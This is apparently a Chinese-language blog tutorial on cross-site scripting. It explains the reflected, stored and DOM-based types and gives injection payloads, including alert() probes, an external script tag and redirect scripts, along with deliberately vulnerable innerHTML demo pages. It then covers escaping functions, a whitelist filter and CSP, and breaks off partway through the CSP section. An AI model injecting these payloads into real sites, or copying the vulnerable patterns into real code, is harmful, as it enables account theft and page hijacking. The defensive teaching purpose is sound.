XSS 攻击实战

什么是XSS?

为了与层叠样式表css区分,将跨站脚本简写为XSS。

XSS攻击原理

XSS(Cross Site Scripting)攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。

XSS,两个层次是服务器端和浏览器端。协议就是HTML/CSS/JavaScript。对于服务器端来说,html是数据(字符串);对于浏览器端来说,html是指令。XSS的原理,就是破坏html/css/js的构造。

主要危害

  1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3、盗窃企业重要的具有商业价值的资料
  4、非法转账
  5、强制发送电子邮件
  6、网站挂马
  7、控制受害者机器向其它网站发起攻击

XSS根据效果不同可以分为三类

  1. 反射型XSS(reflected)
  2. 存储型XSS(stored)
  3. DOM Based XSS

黑客更喜欢“存储型”,或者说“存储型”的“危害”更大

1.反射型XSS

反射型XSS,也叫非持久型XSS,是指发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含危险XSS代码,最后浏览器解析并执行。从概念上可以看出,反射型XSS代码是首先出现在URL中的,然后需要服务端解析,最后需要浏览器解析之后XSS代码才能够攻击。

这类通常使用URL,具体流程:

  1、Alice给Bob发送一个恶意构造了Web的URL。
  2、Bob点击并查看了这个URL。
  3、恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。
  4、具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。
  5、Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。

举个列子:

http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>

http://localhost:8080/helloController/search?name=<img src='w.123' onerror='alert("hey!")'>

http://localhost:8080/helloController/search?name=<a onclick='alert("hey!")'>点我</a>
// 有时攻击者会伪造一个图片,让你点击后链接跳转URL

服务端代码片段,只做了一个简单的字符串连接就返回给客户端。

Chrome是有做处理的相对比较安全,但是Firefox就没有。

2.存储型XSS

存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言板XSS。用户提交了一条包含XSS代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现有XSS代码,就当做正常的HTML和JS解析执行。XSS攻击就发生了。

例如:该网页有一个发表评论的功能,该评论会写入后台数据库,其他用户访问留言板的时候,会从数据库中加载出所有的评论并执行了相应的 js 代码。

// 留言解析攻击
<td><script src='https://bundle.js'></script></td>
<textarea><script src='https://bundle.js'></script></textarea>

// 诱导到钓鱼网站
<img onclick="window.location.href='http://www.baidu.com'" width='300' src='img/webwxgetmsgimg.jpg'/>

// 劫持流量实现恶意跳转
<script>window.location.href="http://www.baidu.com";</script>

3.DOM型XSS

与前两者完全不同,DOM型XSS是纯前端的XSS漏洞,XSS直接通过浏览器进行解析,就完成攻击。

基于DOM的XSS有时也称为type0XSS。如果服务端对DOM中的数据没有经过严格确认,当用户能够通过交互动态地检查和修改浏览器页面中DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。

img

实例1:包括\\符号也要复制进去

这种攻击方式是因为其操作处于双引号之内,系统转义了双引号导致变量无法“escape”

<body>
    <input type="text" id="text">
    <input type="button" id="s" value="按钮" onclick="test()">
    <div id='div'></div>
    <a href="ggg" onclick="alert(/xss/)" \\'>示范2</a>
    <script>
        function test(){
            var str = document.getElementById('text').value;    
            document.getElementById("div").innerHTML = "<a href='"+str+"' >testLink</a>";
        }
    </script>
</body>

我们在文本输入框输入下面:(注意含有空格)

' οnclick=alert(/xss/) //
或者
' οnclick=alert(/xss/)  \\
或者
' οnclick=alert(/xss/)  /\

图片

输入后,页面代码就变成了:

<a href='' onclick=alert(/xss/)//' >生成的link</a>

图片2

首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符”//"注释掉第二个单引号。

点击这个新生成的连接,脚本将被执行:

图片3

你可以拿下面的img图片用上面的实例测试也可以有类似效果

<img src="xxx" onerror=alert("/xss/");>

实例2:

<body>
    <input type="text" id="text">
    <input type="button" id="s" value="按钮" onclick="test()">
    <div id='div'></div><br/>
    <script>
        function test(){
            var str = document.getElementById('text').value; 
            document.getElementById("div").innerHTML = "<img src="+'gggg '+str+" />";
        }
        // 注意src的值gggg后面附带空格的
    </script>
</body>

注意src的值gggg后面附带空格的,若是忘写空格,则必须要文本输入框中首个字符是空格

我们在文本输入框输入下面:: (注意含有空格)

 ' onerror=alert(/我是xss/) 

图片4

反射型XSS效果与存储型XSS和DOM型XSS唯一的差别是反射型XSS直接把GET中的参数显示在网页上,没有经过数据库,而存储型XSS是先存储到服务器上,再回显到网页的。则DOM型XSS是单纯的前端漏洞

(2016.3.16修改,domxss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型的)

XSS攻击的注入点

  • HTML节点内容
  • HTML属性
  • JavaScript代码 (字符串提前关闭)
  • 富文本

1、HTML节点内容
这个其实就是我之前演示的,HTML节点中暗藏攻击脚本。

HTML节点内容**

2、HTML属性
这里img的src属性是由用户传递过来的值,当用户把图片地址写成错误的:1"%20onerror="alert(%27哈哈被攻击%27)

clipboard.png

clipboard.png

3、JavaScript代码 (字符串提前关闭)
当JavaScript代码中有一个变量是由用户提供的数据,这个数据也有可能之前被写入了数据库。如下图,当用户输入的内容为:
小柚子";alert(%27哈哈你被攻击了!%27);"

preview

preview

**4、富文本 **
大家都知道,富文本其实就是一段HTML。既然它是一段HTML,那么就存在XSS攻击。而且富文本攻击的防御相对比较麻烦。

XSS防御措施

chrome浏览器自带防御,可拦截反射性XSS(HTML内容和属性),js和富文本的无法拦截,所以我们必须得自己做一些防御手段。

反射性XSS的url处理,采用插值或过滤

  1. 推荐使用插值
  2. encodeURI

1、HTML节点内容的防御

将用户输入的内容进行转义:

// 后端代码
var escapeHtml = function(str) {
    str = str.replace(/</g,'&lt;');
    str = str.replace(/>/g,'&gt;');
    return str;
}

ctx.render('index', {comments, from: escapeHtml(ctx.query.from || '')});

preview

2、HTML属性的防御

对空格,单引号,双引号进行转义

// 后端代码
var escapeHtmlProperty = function (str) {
    if(!str) return '';
    str = str.replace(/"/g,'&quto;');
    str = str.replace(/'/g,'&#39;');
    str = str.replace(/ /g,'&#32;');
    return str;
}

ctx.render('index', {posts, comments,
    from:ctx.query.from || '',
    avatarId:escapeHtmlProperty(ctx.query.avatarId || '')});

preview

3、JavaScript的防御

对引号进行转义

var escapeForJS = function(str){
        if(!str) return '';
        str = str.replace(/\\/g,'\\\\');
        str = str.replace(/"/g,'\\"');
        return str;
}

preview

4、富文本的防御

富文本的情况非常的复杂,js可以藏在标签里,超链接url里,何种属性里。

<script>alert(1)</script>
<a href="javascript:alert(1)"></a>
<img src="abc" onerror="alert(1)"/>

所以我们不能过用上面富文本的方法做简单的转义。因为情况实在太多了。

现在我们换个思路,
提供两种过滤的办法:比较复杂,需要用白名单过滤,不在白名单中的都转义

1)黑名单
我们可以把<script/> onerror 这种危险标签或者属性纳入黑名单,过滤掉它。但是我们想,这种方式你要考虑很多情况,你也有可能漏掉一些情况等。

2)白名单
这种方式只允许部分标签和属性。不在这个白名单中的,一律过滤掉它。但是这种方式编码有点麻烦,我们需要去解析html树状结构,然后进行过滤,把过滤后安全的html在输出。
这里提供一个包,帮助我们去解析html树状结构,它使用起来和jquery非常的类似。

npm install cheerio --save

var xssFilter = function(html) {
    if(!html) return '';
    var cheerio = require('cheerio');
    var $ = cheerio.load(html);
    //白名单
    var whiteList = {
        'html' : [''],
        'body' : [''],
        'head' : [''],
        'div' : ['class'],
        'img' : ['src'],
        'a' : ['href'],
        'font':['size','color']
    };

    $('*').each(function(index,elem){
        if(!whiteList[elem.name]) {
            $(elem).remove();
            return;
        }
        for(var attr in elem.attribs) {
            if(whiteList[elem.name].indexOf(attr) === -1) {
                $(elem).attr(attr,null);
            }
        }

    });

    return $.html();
}

console.log(xssFilter('<div><font color="red">你好</font><a href="http://www.baidu.com">百度</a><script>alert("哈哈你被攻击了")</script></div>'));

大家可以看到:

clipboard.png

<script>不在白名单中,所以被过滤掉了。

5、CSP(Content Security Policy)

内容安全策略(Content Security Policy,简称CSP)是一种以可信白名单作机制,来限制网站中是否可以包含某来源内容。默认配置下不允许执行内联代码(

posted @ 2020-04-30 22:22  给时光以生命  阅读(3419)  评论(1编辑  收藏  举报